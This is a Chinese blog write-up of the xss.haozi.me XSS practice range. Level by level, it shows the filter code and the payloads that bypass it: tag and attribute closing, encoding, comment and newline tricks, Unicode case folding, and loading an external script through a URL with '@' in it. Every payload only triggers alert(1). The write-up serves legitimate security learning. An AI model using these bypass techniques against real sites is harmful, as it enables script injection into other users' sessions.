Loading... # xss.haozi.me靶场 有很多有意思的xss,记录下 **目标**:弹出带1的弹窗 ## 0x00:直接注入js 注入恶意js直接执行 ~~~js <script>alert('1')</script> ~~~ ## 0x01:闭合标签 闭合textarea标签 ~~~html </textarea><input onclick=alert('1')><textarea> ~~~ ## 0x02:闭合属性 闭合input的value属性 ~~~html " onclick=alert('1') " ~~~ 闭合拼接后 ~~~html <input type="name" value="" onclick=alert('1') ""> ~~~ ## 0x03:过滤了括号 服务器端代码 ~~~js function render (input) { const stripBracketsRe = /[()]/g input = input.replace(stripBracketsRe, '') return input } ~~~ 可以利用\`\`来替代括号 ~~~js <script>alert`1`</script> ~~~ ## 0x04:编码绕过 这次同时过滤了括号和`,考虑使用编码绕过,使用编码时内容必须在标签属性内,所以不能使用\<script> ![请输入图片描述](http://xherlock.top/usr/uploads/2022/07/2765510564.png) ~~~html <input onclick="alert(1)"> ~~~ ## 0x05:注释符绕过 ~~~js function render (input) { input = input.replace(/-->/g, 'x_x') return '<!-- ' + input + ' -->' } ~~~ 我们通常觉得注释符为\<!-- -->,其实还可以\<!-- -- !> ~~~html --!><script>alert(1)</script> ~~~ ## 0x06:换行 ~~~js function render (input) { input = input.replace(/auto|on.*=|>/ig, '_') return `<input value=1 ${input} type="text">` } ~~~ 过滤auto(autofocus)、on开头=结尾(事件)、>(闭合标签)字符串,过滤十分强悍 比较有意思的是可以通过换行来绕过 ~~~js onclick =alert(1) ~~~ ## 0x07:html容错性 这一关对正则表达式的掌握有较高的要求 ~~~js function render (input) { const stripTagsRe = /<\/?[^>]+>/gi; input = input.replace(stripTagsRe, ''); return `<article>${input}</article>`; } ~~~ /<\/?\[^>]+>/gi含义: * 最外面的//表示包含的正则,g表示所有,i表示不区分大小写 * \/?表示可以左尖括号后可以出现0或1次/,表示标签的后半部分 * \[\^>\]\+\>表示只匹配第一个> 所以整体的含义是过滤标签里的内容,eg: ![请输入图片描述](http://xherlock.top/usr/uploads/2022/07/3162918159.png) 这里我们利用的是html的容错性,标签的后尖括号不写,可以自动补齐 ![请输入图片描述](http://xherlock.top/usr/uploads/2022/07/3890762911.png) ### 0x08:双写绕过 这关过滤掉了script的后半部分,但可以双写绕过(发现双写位置在右尖括号前面,只有这个地方) ~~~js function render (src) { src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */') return ` <style> ${src} </style> ` } ~~~ payload: ~~~html </style</style>> <script>alert(1)</script> ~~~ 看了其他人的wp:其实可以直接第一个要闭合的style标签右尖括号前加空格 ## 0x09:指定特殊字符串+闭合属性 简单:payload ~~~html https://www.segmentfault.com" onerror=alert(1) " ~~~ ## 0x0A:url跳转调用 ~~~js function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&') .replace(/'/g, ''') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>') .replace(/\//g, '/') } const domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${escapeHtml(input)}"></script>` } return 'Invalid URL' } ~~~ 过滤掉了一大堆特殊字符,很难了 wp上说需要调用外部js:https://xss.haozi.me/j.js 使用http://a.com@b.com到b.com的特性 payload:(谷歌不行,火狐可以) ~~~ https://www.segmentfault.com@xss.haozi.me/j.js ~~~ ## 0x0B:大写处理 HTML大小写不敏感,js大小写敏感,js部分字母进行编码处理 ~~~html <input onclick="alert(1)" > ~~~ ## 0x0C:大写处理+过滤script 同上,直接加一个input或者img标签 ## 0x0D:换行+注释符 过滤了<、"、'、\等字符串,可以使用换行来绕过注释,-->来闭合 payload: ~~~js alert(1); --> ~~~ ## 0x0E:古英文字母 ~~~js function render (input) { input = input.replace(/<([a-zA-Z])/g, '<_$1') input = input.toUpperCase() return '<h1>' + input + '</h1>' } ~~~ 对包含尖括号的内容前面加个下划线,很像xss-labs里的类型,但是直接给在了h1标签中,很难绕过 **既要考虑下划线又要考虑大写js无效** 这题有点超纲,感觉针对性出题过强,不太现实,考察到了特殊字符: **ſ** (古英文, 拉丁文),大写是S,即能绕过下划线的添加,又能大写组成script payload: ~~~html <ſcript src="https://www.segmentfault.com@xss.haozi.me/j.js"></script> ~~~ ![请输入图片描述](http://xherlock.top/usr/uploads/2022/07/718849339.png) ## 0x0F:事件执行js ~~~js function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&') .replace(/'/g, ''') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>') .replace(/\//g, '/') } return `<img src onerror="console.error('${escapeHtml(input)}')">` } ~~~ 这一关防御考虑的挺全面,但是和0x0A不同在于,拼接的内容到了标签事件中,即使被HTML转义编码了,最后也会被转为正确的,只要是写处出js执行代码即可,需要注意闭合引号和括号 ~~~ ');alert(1)(' ~~~ ## 0x10:变量赋值时执行表达式 这关直接window.data=alert(1),你可以去闭合,也可以直接赋给变量语句 可以尝试下这串代码,打开直接蹦弹窗 ~~~html <script> var a = alert(1); </script>> ~~~ 网上很多都是先闭合对a的赋值,再单独写个alert 我这种写法仔细分析了下,觉得能弹窗的原理很有意思 1. 首先alert(1)是个表达式,它的值是undefined 2. 其次var a=alert(1),是将表达式赋给一个变量,先计算等号右边表达式值,即为undefined,执行时就弹窗了 3. 最后赋给a,a的值未undefined 流程如下 ![请输入图片描述](http://xherlock.top/usr/uploads/2022/07/700811945.png) ![请输入图片描述](http://xherlock.top/usr/uploads/2022/07/3946141557.png) ## 0x11:JS转义 借鉴了另一个靶场,过滤十分强悍 ~~~js // from alf.nu function render (s) { function escapeJs (s) { return String(s) .replace(/\\/g, '\\\\') .replace(/'/g, '\\\'') .replace(/"/g, '\\"') .replace(/`/g, '\\`') .replace(/</g, '\\74') .replace(/>/g, '\\76') .replace(/\//g, '\\/') .replace(/\n/g, '\\n') .replace(/\r/g, '\\r') .replace(/\t/g, '\\t') .replace(/\f/g, '\\f') .replace(/\v/g, '\\v') // .replace(/\b/g, '\\b') .replace(/\0/g, '\\0') } s = escapeJs(s) return ` <script> var url = 'javascript:console.log("${s}")' var a = document.createElement('a') a.href = url document.body.appendChild(a) a.click() </script> ` } ~~~ 虽然过滤挺多,但是在js中转义无效,如\/\/最后还是//,起到注释作用 payload: ~~~js "); alert(1); // 变成了 var url = 'javascript:console.log("\"); alert(1); \/\/")' ~~~ ## 0x12:转义 转义符 比较有意思 ~~~js // from alf.nu function escape (s) { s = s.replace(/"/g, '\\"') return '<script>console.log("' + s + '");</script>' } ~~~ 可以通过\\\\"来实现输出一个斜杠,因为转义符被转义,后面的直接js语句+注释 ~~~ \"); alert(1) // ~~~ ## 写在最后 学习过程中看到了美团的一篇关于XSS的文章https://tech.meituan.com/2018/09/27/fe-security.html 感慨啊,文章质量很不错,不愧是大公司下面的技术人员 文章最后给了几个国外写的靶场,很不错,这段时间练习下 这三四天一直再深入学习XSS漏洞,接触了不少靶场和练习。xss.haozi.me这个靶场给我的感觉是很有趣味性,绕过方式更加多样直观,既给出了输入窗口,有给出了拼接后的html页面代码,能够更好快速的分析绕过的方法,找到失败的原因;同时给出了源码,有利于更好地分析,在这个过程中对部分js代码函数有了更深的认识,比如replace、toUpperCase等,更多的是作者自己编写实现的过滤函数 **整体特点**:偏向编码,如HTML实体转义、JS编码、注释符等;对正则表达式有很多考察;题型多样具有一定连续性、知识丰富 最后修改:2022 年 12 月 27 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,请随意赞赏